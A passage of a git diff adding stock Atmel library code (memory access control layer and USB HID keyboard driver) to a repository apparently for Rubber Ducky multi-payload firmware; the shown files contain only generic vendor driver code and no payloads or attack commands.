semaphore is not valid, + if (!ctrl_access_semphr) + { + // try to create the semaphore. + vSemaphoreCreateBinary(ctrl_access_semphr); + + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + } + + return true; +} + + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +static Bool ctrl_access_lock(void) +{ + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + + // Wait for the semaphore. + while (!xSemaphoreTake(ctrl_access_semphr, portMAX_DELAY)); + + return true; +} + +#endif // FREERTOS_USED + + +U8 get_nb_lun(void) +{ +#if MEM_USB == ENABLE + U8 nb_lun; + + if (!Ctrl_access_lock()) return MAX_LUN; + + nb_lun = MAX_LUN + host_get_lun(); + + Ctrl_access_unlock(); + + return nb_lun; +#else + return MAX_LUN; +#endif +} + + +U8 get_cur_lun(void) +{ + return LUN_ID_0; +} + + +Ctrl_status mem_test_unit_ready(U8 lun) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].test_unit_ready() : +#endif +#if LUN_USB == ENABLE + Lun_usb_test_unit_ready(lun - LUN_ID_USB); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].read_capacity(u32_nb_sector) : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_capacity(lun - LUN_ID_USB, u32_nb_sector); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +U8 mem_sector_size(U8 lun) +{ + U8 sector_size; + + if (!Ctrl_access_lock()) return 0; + + sector_size = +#if MAX_LUN + (lun < MAX_LUN) ? 1 : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_sector_size(lun - LUN_ID_USB); +#else + 0; +#endif + + Ctrl_access_unlock(); + + return sector_size; +} + + +Bool mem_wr_protect(U8 lun) +{ + Bool wr_protect; + + if (!Ctrl_access_lock()) return true; + + wr_protect = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].wr_protect() : +#endif +#if LUN_USB == ENABLE + Lun_usb_wr_protect(lun - LUN_ID_USB); +#else + true; +#endif + + Ctrl_access_unlock(); + + return wr_protect; +} + + +Bool mem_removal(U8 lun) +{ + Bool removal; + + if (!Ctrl_access_lock()) return true; + + removal = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].removal() : +#endif +#if LUN_USB == ENABLE + Lun_usb_removal(); +#else + true; +#endif + + Ctrl_access_unlock(); + + return removal; +} + + +const char *mem_name(U8 lun) +{ + return +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].name : +#endif +#if LUN_USB == ENABLE + LUN_USB_NAME; +#else + NULL; +#endif +} + + +//! @} + + +#if ACCESS_USB == ENABLED + +/*! \name MEM <-> USB Interface + */ +//! @{ + + +Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_read_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_write_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_USB == ENABLED + + +#if ACCESS_MEM_TO_RAM == ENABLED + +/*! \name MEM <-> RAM Interface + */ +//! @{ + + +Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].mem_2_ram(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_mem_2_ram(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].ram_2_mem(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_ram_2_mem(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#if ACCESS_STREAM == ENABLED + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + + + #if ACCESS_MEM_TO_MEM == ENABLED + +#include "fat.h" + +Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector) +{ +#if (defined __GNUC__) && (defined __AVR32__) + __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) + #pragma data_alignment = 4 +#endif + static U8 sector_buf[FS_512B]; + Ctrl_status status = CTRL_GOOD; + + while (nb_sector--) + { + if ((status = memory_2_ram(src_lun, src_addr++, sector_buf)) != CTRL_GOOD) break; + if ((status = ram_2_memory(dest_lun, dest_addr++, sector_buf)) != CTRL_GOOD) break; + } + + return status; +} + + #endif // ACCESS_MEM_TO_MEM == ENABLED + + +Ctrl_status stream_state(U8 id) +{ + return CTRL_GOOD; +} + + +U16 stream_stop(U8 id) +{ + return 0; +} + + +//! @} + +#endif // ACCESS_STREAM == ENABLED diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/storage/ctrl_access/ctrl_access.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/storage/ctrl_access/ctrl_access.h new file mode 100644 index 0000000..2b1ed0a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/storage/ctrl_access/ctrl_access.h @@ -0,0 +1,367 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Abstraction layer for memory interfaces. + * + * This module contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CTRL_ACCESS_H_ +#define _CTRL_ACCESS_H_ + +#include "compiler.h" +#include "conf_access.h" + + +//! Status returned by CTRL_ACCESS interfaces. +typedef enum +{ + CTRL_GOOD = PASS, //!< Success, memory ready. + CTRL_FAIL = FAIL, //!< An error occurred. + CTRL_NO_PRESENT = FAIL + 1, //!< Memory unplugged. + CTRL_BUSY = FAIL + 2 //!< Memory not initialized or changed. +} Ctrl_status; + + +// FYI: Each Logical Unit Number (LUN) corresponds to a memory. + +// Check LUN defines. +#ifndef LUN_0 + #error LUN_0 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_1 + #error LUN_1 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_2 + #error LUN_2 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_3 + #error LUN_3 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_4 + #error LUN_4 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_5 + #error LUN_5 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_6 + #error LUN_6 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_7 + #error LUN_7 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_USB + #error LUN_USB must be defined as ENABLE or DISABLE in conf_access.h +#endif + +/*! \name LUN IDs + */ +//! @{ +#define LUN_ID_0 (0) //!< First static LUN. +#define LUN_ID_1 (LUN_ID_0 + LUN_0) +#define LUN_ID_2 (LUN_ID_1 + LUN_1) +#define LUN_ID_3 (LUN_ID_2 + LUN_2) +#define LUN_ID_4 (LUN_ID_3 + LUN_3) +#define LUN_ID_5 (LUN_ID_4 + LUN_4) +#define LUN_ID_6 (LUN_ID_5 + LUN_5) +#define LUN_ID_7 (LUN_ID_6 + LUN_6) +#define MAX_LUN (LUN_ID_7 + LUN_7) //!< Number of static LUNs. +#define LUN_ID_USB (MAX_LUN) //!< First dynamic LUN (USB host mass storage). +//! @} + + +// Include LUN header files. +#if LUN_0 == ENABLE + #include LUN_0_INCLUDE +#endif +#if LUN_1 == ENABLE + #include LUN_1_INCLUDE +#endif +#if LUN_2 == ENABLE + #include LUN_2_INCLUDE +#endif +#if LUN_3 == ENABLE + #include LUN_3_INCLUDE +#endif +#if LUN_4 == ENABLE + #include LUN_4_INCLUDE +#endif +#if LUN_5 == ENABLE + #include LUN_5_INCLUDE +#endif +#if LUN_6 == ENABLE + #include LUN_6_INCLUDE +#endif +#if LUN_7 == ENABLE + #include LUN_7_INCLUDE +#endif +#if LUN_USB == ENABLE + #include LUN_USB_INCLUDE +#endif + + +// Check the configuration of write protection in conf_access.h. +#ifndef GLOBAL_WR_PROTECT + #error GLOBAL_WR_PROTECT must be defined as ENABLED or DISABLED in conf_access.h +#endif + + +#if GLOBAL_WR_PROTECT == ENABLED + +//! Write protect. +extern Bool g_wr_protect; + +#endif + + +/*! \name Control Interface + */ +//! @{ + +#ifdef FREERTOS_USED + +/*! \brief Initializes the LUN access locker. + * + * \return \c true if the locker was successfully initialized, else \c false. + */ +extern Bool ctrl_access_init(void); + +#endif // FREERTOS_USED + +/*! \brief Returns the number of LUNs. + * + * \return Number of LUNs in the system. + */ +extern U8 get_nb_lun(void); + +/*! \brief Returns the current LUN. + * + * \return Current LUN. + * + * \todo Implement. + */ +extern U8 get_cur_lun(void); + +/*! \brief Tests the memory state and initializes the memory if required. + * + * The TEST UNIT READY SCSI primary command allows an application client to poll + * a LUN until it is ready without having to allocate memory for returned data. + * + * This command may be used to check the media status of LUNs with removable + * media. + * + * \param lun Logical Unit Number. + * + * \return Status. + */ +extern Ctrl_status mem_test_unit_ready(U8 lun); + +/*! \brief Returns the address of the last valid sector (512 bytes) in the + * memory. + * + * \param lun Logical Unit Number. + * \param u32_nb_sector Pointer to the address of the last valid sector. + * + * \return Status. + */ +extern Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector); + +/*! \brief Returns the size of the physical sector. + * + * \param lun Logical Unit Number. + * + * \return Sector size (unit: 512 bytes). + */ +extern U8 mem_sector_size(U8 lun); + +/*! \brief Returns the write-protection state of the memory. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is write-protected, else \c false. + * + * \note Only used by removable memories with hardware-specific write + * protection. + */ +extern Bool mem_wr_protect(U8 lun); + +/*! \brief Tells whether the memory is removable. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is removable, else \c false. + */ +extern Bool mem_removal(U8 lun); + +/*! \brief Returns a pointer to the LUN name. + * + * \param lun Logical Unit Number. + * + * \return Pointer to the LUN name string. + */ +extern const char *mem_name(U8 lun); + +//! @} + + +#if ACCESS_USB == ENABLED + +/*! \name MEM <-> USB Interface + */ +//! @{ + +/*! \brief Transfers data from the memory to USB. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector); + +/*! \brief Transfers data from USB to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector); + +//! @} + +#endif // ACCESS_USB == ENABLED + + +#if ACCESS_MEM_TO_RAM == ENABLED + +/*! \name MEM <-> RAM Interface + */ +//! @{ + +/*! \brief Copies 1 data sector from the memory to RAM. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param ram Pointer to RAM buffer to write. + * + * \return Status. + */ +extern Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram); + +/*! \brief Copies 1 data sector from RAM to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param ram Pointer to RAM buffer to read. + * + * \return Status. + */ +extern Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram); + +//! @} + +#endif // ACCESS_MEM_TO_RAM == ENABLED + + +#if ACCESS_STREAM == ENABLED + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + +//! Erroneous streaming data transfer ID. +#define ID_STREAM_ERR 0xFF + + #if ACCESS_MEM_TO_MEM == ENABLED + +/*! \brief Copies data from one memory to another. + * + * \param src_lun Source Logical Unit Number. + * \param src_addr Source address of first memory sector to read. + * \param dest_lun Destination Logical Unit Number. + * \param dest_addr Destination address of first memory sector to write. + * \param nb_sector Number of sectors to copy. + * + * \return Status. + */ +extern Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector); + + #endif // ACCESS_MEM_TO_MEM == ENABLED + +/*! \brief Returns the state of a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Status. + * + * \todo Implement. + */ +extern Ctrl_status stream_state(U8 id); + +/*! \brief Stops a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Number of remaining sectors. + * + * \todo Implement. + */ +extern U16 stream_stop(U8 id); + +//! @} + +#endif // ACCESS_STREAM == ENABLED + + +#endif // _CTRL_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c new file mode 100644 index 0000000..4dca2c8 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c @@ -0,0 +1,368 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) keyboard interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc.h" +#include "udi_hid.h" +#include "udi_hid_kbd.h" +#include + +/** + * \addtogroup udi_hid_keyboard_group + * @{ + */ + +/** + * \name Interface for UDC + */ +//@{ + +bool udi_hid_kbd_enable(void); +void udi_hid_kbd_disable(void); +bool udi_hid_kbd_setup(void); +uint8_t udi_hid_kbd_getsetting(void); + +//! Global structure which contains standard UDI interface for UDC +UDC_DESC_STORAGE udi_api_t udi_api_hid_kbd = { + .enable = (bool(*)(void))udi_hid_kbd_enable, + .disable = (void (*)(void))udi_hid_kbd_disable, + .setup = (bool(*)(void))udi_hid_kbd_setup, + .getsetting = (uint8_t(*)(void))udi_hid_kbd_getsetting, +}; + +//@} + + +/** + * \name Internal defines and variables to manage HID keyboard + */ +//@{ + +//! Size of report for standard HID keyboard +#define UDI_HID_KBD_REPORT_SIZE 8 + + +//! To store current rate of HID keyboard +static uint8_t udi_hid_kbd_rate; +//! To store current protocol of HID keyboard +static uint8_t udi_hid_kbd_protocol; +//! To store report feedback from USB host +static uint8_t udi_hid_kbd_report_set; +//! To signal if a valid report is ready to send +static bool udi_hid_kbd_b_report_valid; +//! Report ready to send +static uint8_t udi_hid_kbd_report[UDI_HID_KBD_REPORT_SIZE]; +//! Signal if a report transfer is on going +static bool udi_hid_kbd_b_report_trans_ongoing; +//! Buffer used to send report +COMPILER_WORD_ALIGNED + static uint8_t + udi_hid_kbd_report_trans[UDI_HID_KBD_REPORT_SIZE]; + +//@} + +//! HID report descriptor for standard HID keyboard +UDC_DESC_STORAGE udi_hid_kbd_report_desc_t udi_hid_kbd_report_desc = { + { + 0x05, 0x01, /* Usage Page (Generic Desktop) */ + 0x09, 0x06, /* Usage (Keyboard) */ + 0xA1, 0x01, /* Collection (Application) */ + 0x05, 0x07, /* Usage Page (Keyboard) */ + 0x19, 224, /* Usage Minimum (224) */ + 0x29, 231, /* Usage Maximum (231) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 0x01, /* Logical Maximum (1) */ + 0x75, 0x01, /* Report Size (1) */ + 0x95, 0x08, /* Report Count (8) */ + 0x81, 0x02, /* Input (Data, Variable, Absolute) */ + 0x81, 0x01, /* Input (Constant) */ + 0x19, 0x00, /* Usage Minimum (0) */ + 0x29, 101, /* Usage Maximum (101) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 101, /* Logical Maximum (101) */ + 0x75, 0x08, /* Report Size (8) */ + 0x95, 0x06, /* Report Count (6) */ + 0x81, 0x00, /* Input (Data, Array) */ + 0x05, 0x08, /* Usage Page (LED) */ + 0x19, 0x01, /* Usage Minimum (1) */ + 0x29, 0x05, /* Usage Maximum (5) */ + 0x15, 0x00, /* Logical Minimum (0) */ + 0x25, 0x01, /* Logical Maximum (1) */ + 0x75, 0x01, /* Report Size (1) */ + 0x95, 0x05, /* Report Count (5) */ + 0x91, 0x02, /* Output (Data, Variable, Absolute) */ + 0x95, 0x03, /* Report Count (3) */ + 0x91, 0x01, /* Output (Constant) */ + 0xC0 /* End Collection */ + } +}; + +/** + * \name Internal routines + */ +//@{ + +/** + * \brief Changes keyboard report states (like LEDs) + * + * \param rate New rate value + * + */ +static bool udi_hid_kbd_setreport(void); + +/** + * \brief Send the report + * + * \return \c 1 if send on going, \c 0 if delay. + */ +static bool udi_hid_kbd_send_report(void); + +/** + * \brief Callback called when the report is sent + * + * \param status UDD_EP_TRANSFER_OK, if transfer is completed + * \param status UDD_EP_TRANSFER_ABORT, if transfer is aborted + * \param nb_sent number of data transfered + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +void udi_hid_kbd_report_sent(udd_ep_status_t status, iram_size_t nb_sent); + +/** + * \brief Callback called to update report from USB host + * udi_hid_kbd_report_set is updated before callback execution + */ +static void udi_hid_kbd_setreport_valid(void); + +//@} + + +//-------------------------------------------- +//------ Interface for UDI HID level + +bool udi_hid_kbd_enable(void) +{ + // Initialize internal values + udi_hid_kbd_rate = 0; + udi_hid_kbd_protocol = 0; + udi_hid_kbd_b_report_trans_ongoing = false; + memset(udi_hid_kbd_report, 0, UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; + return UDI_HID_KBD_ENABLE_EXT(); +} + + +void udi_hid_kbd_disable(void) +{ + UDI_HID_KBD_DISABLE_EXT(); +} + + +bool udi_hid_kbd_setup(void) +{ + return udi_hid_setup(&udi_hid_kbd_rate, + &udi_hid_kbd_protocol, + (uint8_t *) &udi_hid_kbd_report_desc, + udi_hid_kbd_setreport); +} + + +uint8_t udi_hid_kbd_getsetting(void) +{ + return 0; +} + + +static bool udi_hid_kbd_setreport(void) +{ + if ((USB_HID_REPORT_TYPE_OUTPUT == (udd_g_ctrlreq.req.wValue >> 8)) + && (0 == (0xFF & udd_g_ctrlreq.req.wValue)) + && (1 == udd_g_ctrlreq.req.wLength)) { + // Report OUT type on report ID 0 from USB Host + udd_g_ctrlreq.payload = &udi_hid_kbd_report_set; + udd_g_ctrlreq.callback = udi_hid_kbd_setreport_valid; + udd_g_ctrlreq.payload_size = 1; + return true; + } + return false; +} + + +//-------------------------------------------- +//------ Interface for application + +bool udi_hid_kbd_modifier_up(uint8_t modifier_id) +{ + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] &= ~modifier_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_modifier_down(uint8_t modifier_id) +{ + irqflags_t flags = cpu_irq_save(); + + // Fill report + udi_hid_kbd_report[0] |= modifier_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_up(uint8_t key_id) +{ + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) { + // Already removed + cpu_irq_restore(flags); + return true; + } + if (key_id == udi_hid_kbd_report[i]) + break; + } + if (UDI_HID_KBD_REPORT_SIZE == i) { + // Already removed + cpu_irq_restore(flags); + return true; + } + // Remove key and shift + while (i < (UDI_HID_KBD_REPORT_SIZE - 1)) { + udi_hid_kbd_report[i] = udi_hid_kbd_report[i + 1]; + i++; + } + udi_hid_kbd_report[UDI_HID_KBD_REPORT_SIZE - 1] = 0x00; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + cpu_irq_restore(flags); + return true; +} + + +bool udi_hid_kbd_down(uint8_t key_id) +{ + uint8_t i; + + irqflags_t flags = cpu_irq_save(); + + // Fill report + for (i = 2; i < UDI_HID_KBD_REPORT_SIZE; i++) { + if (0 == udi_hid_kbd_report[i]) + break; + if (key_id == udi_hid_kbd_report[i]) { + // Already in array + cpu_irq_restore(flags); + return true; + } + } + + if (UDI_HID_KBD_REPORT_SIZE == i) { + // Array full + // TODO manage more than UDI_HID_KBD_REPORT_SIZE key pressed in same time + cpu_irq_restore(flags); + return false; + } + // Add key at the end of array + udi_hid_kbd_report[i] = key_id; + udi_hid_kbd_b_report_valid = true; + + // Send report + udi_hid_kbd_send_report(); + + // Enable IT + cpu_irq_restore(flags); + return true; +} + + +//-------------------------------------------- +//------ Internal routines + +static bool udi_hid_kbd_send_report(void) +{ + if (udi_hid_kbd_b_report_trans_ongoing) + return false; + memcpy(udi_hid_kbd_report_trans, udi_hid_kbd_report, + UDI_HID_KBD_REPORT_SIZE); + udi_hid_kbd_b_report_valid = false; + udi_hid_kbd_b_report_trans_ongoing = + udd_ep_run( UDI_HID_KBD_EP_IN, + false, + udi_hid_kbd_report_trans, + UDI_HID_KBD_REPORT_SIZE, + udi_hid_kbd_report_sent); + return udi_hid_kbd_b_report_trans_ongoing; +} + +void udi_hid_kbd_report_sent(udd_ep_status_t status, iram_size_t nb_sent) +{ + udi_hid_kbd_b_report_trans_ongoing = false; + if (udi_hid_kbd_b_report_valid) { + udi_hid_kbd_send_report(); + } +} + +static void udi_hid_kbd_setreport_valid(void) +{ + UDI_HID_KBD_CHANGE_LED(udi_hid_kbd_report_set); +} + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h new file mode 100644 index 0000000..cf1112a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.h @@ -0,0 +1,169 @@ +/** + * \file + * + * \brief USB Device Human Interface Device (HID) keyboard interface. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_HID_KBD_H_ +#define _UDC_HID_KBD_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "usb_protocol_hid.h" +#include "udc_desc.h" +#include "udi.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup udi_hid_group + * \defgroup udi_hid_keyboard_group UDI for Human Interface Device keyboard Class + * base on UDI HID + * @{ + */ + +//! Global structure which contains standard UDI API for UDC +extern UDC_DESC_STORAGE udi_api_t udi_api_hid_kbd; + +/** + * \name Interface Descriptor + * + * The following structures provide the interface descriptor. + * It must be implemented in USB configuration descriptor. + */ +//@{ + +//! Interface descriptor structure for HID keyboard +typedef struct { + usb_iface_desc_t iface; + usb_hid_descriptor_t hid; + usb_ep_desc_t ep; +} udi_hid_kbd_desc_t; + +//! Report descriptor for HID keyboard +typedef struct { + uint8_t array[59]; +} udi_hid_kbd_report_desc_t; + + +//! By default no string associated to this interface +#ifndef UDI_HID_KBD_STRING_ID +#define UDI_HID_KBD_STRING_ID 0 +#endif + +//! HID keyboard endpoints size +#define UDI_HID_KBD_EP_SIZE 8 + +//! Content of HID keyboard interface descriptor for all speed +#define UDI_HID_KBD_DESC {\ + .iface.bLength = sizeof(usb_iface_desc_t),\ + .iface.bDescriptorType = USB_DT_INTERFACE,\ + .iface.bInterfaceNumber = 